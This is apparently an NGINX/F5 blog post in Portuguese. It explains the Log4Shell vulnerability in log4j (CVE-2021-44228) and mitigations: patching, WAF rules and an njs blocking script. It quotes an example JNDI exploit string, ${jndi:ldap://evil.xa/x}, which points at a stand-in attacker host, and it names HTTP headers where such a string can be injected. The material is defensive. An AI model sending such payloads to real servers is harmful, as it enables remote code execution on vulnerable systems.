Sexta-feira, 10 de dezembro de 2021, é uma data que será lembrada por muitos profissionais de TI ao redor do mundo. Foi quando uma vulnerabilidade de dia zero altamente crítica foi encontrada na biblioteca de registro muito popular para aplicativos Java, log4j . O nome “Log4Shell” foi rapidamente cunhado para o exploit, e empresas de todos os tamanhos correram para implementar estratégias de mitigação. Isso foi seguido por uma maratona de patches que, no momento em que este artigo foi escrito, ainda estava em andamento.
A NGINX e a F5 analisaram a ameaça e nesta postagem oferecemos várias opções de mitigação para manter seus aplicativos protegidos.
A versão 2.15 e anteriores da biblioteca log4j são vulneráveis à vulnerabilidade de execução remota de código (RCE) descrita em CVE-2021-44228 . ( A versão 2.16 do log4j corrige a vulnerabilidade.) Log4Shell é o nome dado à exploração desta vulnerabilidade. Mas o que é essa vulnerabilidade e por que ela é tão crítica? Conforme descrito no CVE, a biblioteca Java Apache log4j não valida corretamente a entrada.
O recurso Java Naming and Directory Interface (JNDI) da biblioteca log4j e o Java Runtime podem ser usados para executar pesquisas remotas para recuperar dados de fontes externas – como um nome de usuário do LDAP ou um endereço IP do DNS – para inclusão em uma entrada de log. Infelizmente, invasores remotos podem sequestrar o JNDI para executar código Java que eles escreveram. O diagrama a seguir ilustra o ataque.
Para explorar um alvo vulnerável, os invasores precisam enganar o código do aplicativo para escrever uma entrada de log que inclua uma string como ${jndi:ldap://evil.xa/x}
. A questão interessante é: onde colocar a string para que ela acabe em uma mensagem de log? Para muitas aplicações, o registro é essencial e muitas informações diferentes são registradas sobre cada solicitação recebida, incluindo cabeçalhos HTTP como User-Agent
e X-Forwarded-For
, o URI e o corpo da solicitação. Existem muitos vetores de ataque e, desde que a sequência seja registrada com log4j, o aplicativo pode ser explorado.
Não. O NGINX em si não é vulnerável a essa exploração, porque é escrito em C e não usa Java ou quaisquer bibliotecas baseadas em Java. Para obter a resposta oficial ao CVE-2021-44228 para todos os produtos F5 e NGINX, consulte o artigo K19026212 na Base de conhecimento AskF5.
Conforme mencionado acima, um invasor deve enviar a sequência de exploração para o aplicativo de destino em algum lugar na solicitação HTTP. O NGINX fornece diversas ferramentas para escanear solicitações recebidas em busca de indicações de comprometimento (IOCs) e bloqueá-las.
A maneira mais eficiente de bloquear solicitações maliciosas é com um firewall de aplicativo web (WAF). Ele verifica cada solicitação recebida em busca de indicações de CVE-2021-44228 , comparando os dados da solicitação com um conjunto de regras pré-compiladas. Entretanto, atualizar as regras do WAF após uma exploração de dia zero é como uma corrida armamentista. Assim que as regras do WAF estão disponíveis para uma determinada exploração, os invasores procuram técnicas e padrões que possam contornar o WAF. Mantenha suas regras do WAF atualizadas.
ModSecurity é um WAF de código aberto e também está disponível como uma oferta comercial da NGINX, o módulo NGINX ModSecurity WAF para NGINX Plus. O OWASP ModSecurity Core Rule Set (CRS) inclui uma regra existente (932130) que pode mitigar o Log4Shell. Para mais discussões sobre esta solução e proteção mais avançada, consulte o blog do CRS .
[ Editor – O NGINX ModSecurity WAF foi oficialmente encerrado em 1º de abril de 2022 e está em transição para o fim da vida útil em 31 de março de 2024 . Para mais detalhes, veja F5 NGINX ModSecurity WAF está em transição para o fim da vida útil<.htmla> em nosso blog.]
O NGINX App Protect WAF é uma solução moderna de segurança de aplicativos. Com base na investigação contínua da ameaça e nos desvios conhecidos do WAF, atualizamos o Conjunto de Assinaturas de Injeção de Código do Lado do Servidor com novas regras para detectar efetivamente ataques Log4Shell. Para mais detalhes, consulte a Base de Conhecimento AskF5 .
O NGINX e o NGINX Plus são amplamente implantados como proxy reverso em muitos aplicativos baseados em Java. Para usuários e clientes sem acesso a um WAF, criamos um script que usa o NGINX JavaScript Module (njs). O script verifica cabeçalhos HTTP, URIs e corpos de solicitação em solicitações recebidas, usando strings IOC conhecidas, bem como expressões regulares para corresponder dados de entrada e bloquear solicitações maliciosas.
O script njs está disponível no GitHub . Para obter instruções sobre como instalar o módulo njs, consulte o Guia de administração do NGINX Plus .
A solução mais eficaz para o Log4Shell é aplicar um patch no código do aplicativo com o log4j versão 2.16 ou posterior, que desabilita o JDNI. Se isso não for possível imediatamente, um WAF pode efetivamente mitigar a ameaça até que você tenha tempo de aplicar o patch. Se você ainda não tem um WAF, pode usar nosso script njs para implementar proteção específica contra a ameaça. Use os recursos abaixo para saber mais e selecionar a proteção mais apropriada para suas aplicações.
"Esta postagem do blog pode fazer referência a produtos que não estão mais disponíveis e/ou não têm mais suporte. Para obter as informações mais atualizadas sobre os produtos e soluções F5 NGINX disponíveis, explore nossa família de produtos NGINX . O NGINX agora faz parte do F5. Todos os links anteriores do NGINX.com redirecionarão para conteúdo semelhante do NGINX no F5.com."